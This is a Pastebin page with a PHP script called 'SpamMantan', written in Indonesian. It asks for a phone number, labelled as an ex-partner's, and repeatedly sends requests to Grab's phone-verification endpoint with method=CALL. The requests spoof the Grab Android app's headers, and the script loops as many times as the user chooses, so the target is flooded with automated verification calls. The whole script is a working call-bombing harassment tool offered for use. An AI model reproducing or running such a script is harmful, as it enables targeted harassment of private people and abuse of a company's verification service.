Advertisement
RyukiChan

SpamMantan

Jul 13th, 2018
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.05 KB | None | 0 0
  1. <?php
  2. system('clear');
  3. function get(){
  4.     return trim(fgets(STDIN));
  5. }
  6. class prankcall{
  7.     public function __construct($no){
  8.         $this->number = $no;
  9.     }
  10.     private function get(){
  11.         return trim(fgets(STDIN));
  12.     }
  13.     private function correct($no){
  14.         $cek = substr($no,0,2);
  15.         if($cek=="08"){
  16.             $no = "62".substr($no,1);
  17.         }
  18.         return $no;
  19.     }
  20.     private function ekse(){
  21.         $no = $this->correct($this->number);
  22.         $rand = rand(0123456,9999999);
  23.         $rands = $this->randStr(12);
  24.         $post = "method=CALL&countryCode=id&phoneNumber=$no&templateID=pax_android_production";
  25.         $h[] = "x-request-id: ebf61bc3-8092-4924-bf45-$rands";
  26.         $h[] = "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8";
  27.         $h[] = "User-Agent: Grab/5.20.0 (Android 6.0.1; Build $rand)";
  28.         $h[] = "Content-Type: application/x-www-form-urlencoded";
  29.         $h[] = "Content-Length: ".strlen($post);
  30.         $h[] = "Host: api.grab.com";
  31.         $h[] = "Connection: close";
  32.         $ch = curl_init();
  33.         curl_setopt($ch, CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp");
  34.         curl_setopt($ch, CURLOPT_POST, 1);
  35.         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  36.         curl_setopt($ch, CURLOPT_HTTPHEADER, $h);
  37.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  38.         $x = curl_exec($ch); curl_close($ch);
  39.         $ekse = json_decode($x,true);
  40.         if(empty($ekse['challengeID'])){
  41.             echo "Gagal\n";
  42.         }else{
  43.             echo "Sukses\n";
  44.         }
  45.     }
  46.     private function loop($many,$sleep=null){
  47.         $a=0;
  48.         $no = $this->correct($this->number);
  49.         while($a<$many){
  50.             $rand = rand(0123456,9999999);
  51.             $rands = $this->randStr(12);
  52.             $post = "method=CALL&countryCode=id&phoneNumber=$no&templateID=pax_android_production";
  53.             $h[] = "x-request-id: ebf61bc3-8092-4924-bf45-$rands";
  54.             $h[] = "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8";
  55.             $h[] = "User-Agent: Grab/5.20.0 (Android 6.0.1; Build $rand)";
  56.             $h[] = "Content-Type: application/x-www-form-urlencoded";
  57.             $h[] = "Content-Length: ".strlen($post);
  58.             $h[] = "Host: api.grab.com";
  59.             $h[] = "Connection: close";
  60.             $ch = curl_init();
  61.             curl_setopt($ch, CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp");
  62.             curl_setopt($ch, CURLOPT_POST, 1);
  63.             curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  64.             curl_setopt($ch, CURLOPT_HTTPHEADER, $h);
  65.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  66.             $x = curl_exec($ch); curl_close($ch);
  67.             $ekse = json_decode($x,true);
  68.             if(empty($ekse['challengeID'])){
  69.                 continue;
  70.             }else{
  71.                 $nn = $a+1;
  72.                 echo "[$nn] Sukses anjg\r";
  73.                 $a++;
  74.             }
  75.             if($sleep!=null) sleep($sleep);
  76.             if($a>=$many) echo "\nCompleted!\n";
  77.         }
  78.     }
  79.     private function randStr($l){
  80.         $data = "abcdefghijklmnopqrstuvwxyz1234567890";
  81.         $word = "";
  82.         for($a=0;$a<$l;$a++){
  83.             $word .= $data{rand(0,strlen($data)-1)};
  84.         }
  85.         return $word;
  86.     }
  87.     public function run(){
  88.         while(true){
  89.             echo "☆ Mode Banyak (y/n) => ";
  90.             $loop = $this->get();
  91.             if($loop=="y" OR $loop=="n"){
  92.                 break;
  93.             }else{
  94.                 echo "Jika ya jawab y jika tidak jawab n\n";
  95.                 continue;
  96.             }
  97.         }
  98.         if($loop=="y"){
  99.             echo "☆ JumlahSpam => ";
  100.             $many = $this->get();
  101.             $this->loop($many);
  102.         }else{
  103.             $this->ekse();
  104.         }
  105.     }
  106. }
  107. echo " \n";
  108. echo "
  109.  
  110. ██╗  ██╗███╗   ███╗ ██╗██████╗  ██████╗ ██╗  ██╗
  111. ██║ ██╔╝████╗ ████║███║██╔══██╗██╔═══██╗██║ ██╔╝
  112. █████╔╝ ██╔████╔██║╚██║██████╔╝██║   ██║█████╔╝
  113. ██╔═██╗ ██║╚██╔╝██║ ██║██╔══██╗██║   ██║██╔═██╗
  114. ██║  ██╗██║ ╚═╝ ██║ ██║██████╔╝╚██████╔╝██║  ██╗
  115. ╚═╝  ╚═╝╚═╝     ╚═╝ ╚═╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝
  116.                                                
  117.  
  118.  
  119. \n";
  120. echo " \n";
  121. sleep ('0.4');
  122. echo "☆ Masukan No Mantan => ";
  123. $no = get();
  124. $n = new prankCall($no);
  125. $n->run();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement